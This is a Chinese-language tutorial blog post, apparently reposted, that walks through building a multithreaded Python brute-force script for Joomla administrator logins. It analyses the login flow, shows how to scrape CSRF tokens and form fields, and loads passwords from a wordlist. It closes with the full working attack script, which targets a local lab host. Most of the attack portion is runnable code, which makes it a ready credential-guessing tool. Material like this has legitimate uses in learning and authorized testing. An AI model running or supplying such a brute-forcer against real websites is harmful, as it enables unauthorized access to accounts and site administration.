從零開始寫網站登錄爆破(一)


0x00簡述

本文從零開始介紹一個網站登錄爆破腳本的編寫過程,通過腳本模擬網站登錄的作用有以下幾點:
1,web類安全工具需要一個強大的爬蟲爬取目標網站的所有頁面,以確認漏洞利用點。
如果遇到需要登錄才能爬取的情況,可以爬蟲直接模擬登錄過程。
2,已知部分信息,爆破網站后台,為下一步的滲透做准備。

關於登錄爆破在《blackhat python》這本書中有一個例子,但是我用requests和beautifulsoup做了一些修改,后續還會以此為基礎添加更多的功能。

0x01網站的認證過程

要模擬登錄網站就要知道網站的登錄認證過程,這里以joomla這款開源cms為例。
配置瀏覽器使用代理,本地127.0.0.1 8080端口,我使用了owasp zap
這款工具,其他的工具如Burpsuite或者直接F12 都可以查看到包的信息。

第一步,首先訪問后台登錄頁面,抓包查看發現返回包中包含“SetCookie”響應頭,cookie此時作為認證用戶身份的憑據,且每次訪問都會改變。

第二步,接着POST方法提交登錄信息,同樣抓包查看

可以看到包里的參數不只有賬號密碼,還有token(用於防御CSRF)還有task等等。
認證的同時要抓取頁面表單的其他input標簽的name和value。joomla的較為簡單,網站一般不會明文傳輸用戶名和密碼,遇到這種情況需要分析引入的js文件,模擬加密算法。

第三步,可以通過代理歷史頁面看到,post請求觸發了303跳轉跳回了原url相當於又實現了一次GET請求,可以查看到這次請求攜帶了之前設置的cookie。
到這里網站的基本認證流程就結束了,接着我們用工具自動化

0x02HTTP方法

登錄過程中用到了兩種方法,GET和POST方法,用reqeusts實現很簡單

import requests
res_get=requests.get(url)
res_post=requests.post(url,data=data,cookies=cookies,headers=headers)

其中data屬性接收一個dict作為post的數據,cookies和headers
請求頭都可以自己定義,將准備好的請求頭用dict封裝就可以偽造一個firefox瀏覽器的請求

cookie處理的兩種方法
cookie值在第一次請求目標url的時候就已經設定好了
res_get.headers['Set-Cookie']讀取響應頭取出set-cookie字段解析成dict
另一種 cookies=res.cookies 自動處理可以直接傳入get方法中。

0x03解析HTML提取參數

用到BeautifulSoup來解析html,你只需要傳入一個HTML就能隨意的處理解析它。

soup=BeautifulSoup(html)

要尋找所有的input標簽,將其中的name和value對應形成一個字典
soup.find_all(“input”)
將返回所有的input標簽構成的一個list,其中元素的類型是 <class 'bs4.element.Tag'>
這意味着可以通過 tag.get("value")取出value的值,直接用tag["value"]也可以。

0x04處理爆破用的字典

認證的過程有了,接着不過就是替換password的值而已。
我們采用隊列的方法提供要爆破的密碼字段

import Queue
words=Queue.Queue()
words.put(word)
words.get()

借用書中的代碼

def build_wordlist(wordlist):
    fp=open(wordlist,'rb')
    raw_words=fp.readlines()
    fp.close()
    words=Queue.Queue()
    for word in raw_words:
        word=word.rstrip()
        if resume is not None:
            if found_resume:
                words.put(word)
            else:
                if word==resume:
                    found_resume=True
                    print "Resuming wordlist from : %s "%resume
        else:
                words.put(word)
    return words

這段代碼中的恢復機制不太明白,不清楚resume會在何處賦值
應對爆破過程中目標網站掛了,或者被防火牆屏蔽的狀況,我們需要記錄下爆破的位置以便繼續爆破。

0x05多線程處理

因為python中的GIL(全局解釋鎖),解釋器同一時刻只能運行一個線程。如果是計算密集型任務多線程是不起作用的,可以嘗試多核運行。
網絡請求操作更多的時間消耗在網絡等待服務器響應的過程中,這樣的情況多線程能夠提升效率。

import threading 
t=threading.Thread(target=web_bruter())
t.start()

target指定線程要執行的函數
經測試速度有三倍的提升

0x06錯誤處理

應對掉網的情況采用try except 語句捕捉錯誤
爆破中關閉服務器后,requests拋出了ConnectionError異常
捕捉這個異常,然后將一個特殊值放入隊列中使隊列中的其他線程全部關閉

其實不用這個方法也會關閉,每個線程都會返回一個成功或是失敗的結果

0x07完整代碼

from bs4 import BeautifulSoup
import requests as s
from requests import ConnectionError
import Queue
import sys
import threading
target_url="http://kali/joomla453/administrator/index.php"

sucess_check="Administration - Control Panel"
wordlist="cain.txt"
headers={
	"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
	"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
	"Accept-Language": "en-US,en;q=0.5",
	"Connection": "keep-alive",
	"Referer": "http://kali/joomla453/administrator/index.php",
	"Content-Type": "application/x-www-form-urlencoded",
	"Host": "kali",
}

class Bruter():
    def __init__(self,username,words):
        self.username=username
        self.password=words
        self.found=False
        self.res=s.get(target_url)
        self.password_q=words

        print "Seting up username : %s " %username

    def get_cookie(self):
        return self.res.cookies
‘’‘
    def get_cookie(self):
            cookies={}
            co=self.res.headers['Set-Cookie']
            a=co.split(';')[0].split('=')
            cookies[a[0]]=a[1]
            print "Cookie:  "+str(cookies)
            return cookies
’‘’
    def get_payload(self):
        payload={}
        html=self.res.content
        soup=BeautifulSoup(html,"lxml")
        
        tag_list=soup.find_all("input")
        for i in tag_list:
            payload[i['name']]=i.get('value')

        tag_user = soup.find_all("input",type="text")
        payload[tag_user[0]['name']]=self.username

        tag_pass = soup.find_all("input",type="password")
        pass_word=self.password_q.get()
        payload[tag_pass[0]['name']]=pass_word 
        print "Trying : %s" %pass_word+"\n"
        print "Payload: "+str(payload)
        return payload
    def web_bruter(self):
        while not self.found and not self.password_q.empty():
            try:
                a=s.post(target_url,data=self.get_payload(),headers=headers,cookies=self.get_cookie())
                p=s.get(target_url,headers=headers,cookies=self.get_cookie())
                if sucess_check in p.content:
                    print "sucess"
                    self.found = True
            except ConnectionError,e:
                print "Connection Error: %s" % e
                sys.exit()
    def run_thread(self):
        for i in range(10):
            t=threading.Thread(target=self.web_bruter)
            t.start()
resume=None
found_resume=False
def build_wordlist(wordlist):
    fp=open(wordlist,'rb')
    raw_words=fp.readlines()
    fp.close()

    words=Queue.Queue()
    for word in raw_words:
        word=word.rstrip()
        if resume is not None:
            if found_resume:
                words.put(word)
            else:
                if word==resume:
                    found_resume=True
                    print "Resuming wordlist from : %s "%resume
        else:
                words.put(word)
    return words
words=build_wordlist(wordlist)
d=Bruter("moon",words)
d.run_thread()

0x08下一步的改進方向

1,在讀取字典的時候一次都讀取了進來,如果是一個很大的字典,這樣會在開始浪費很長時間讀取,甚至程序崩潰
2,程序不夠通用,需要添加跟蹤JS加密算法的功能
3,字典中設置斷點應對中途停止的情況,隨機字符串斷點要區別於字典中的字符串,或者是位置斷點更方便定位

0x09參考文章

《blackhat python》
《python cookbook》


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM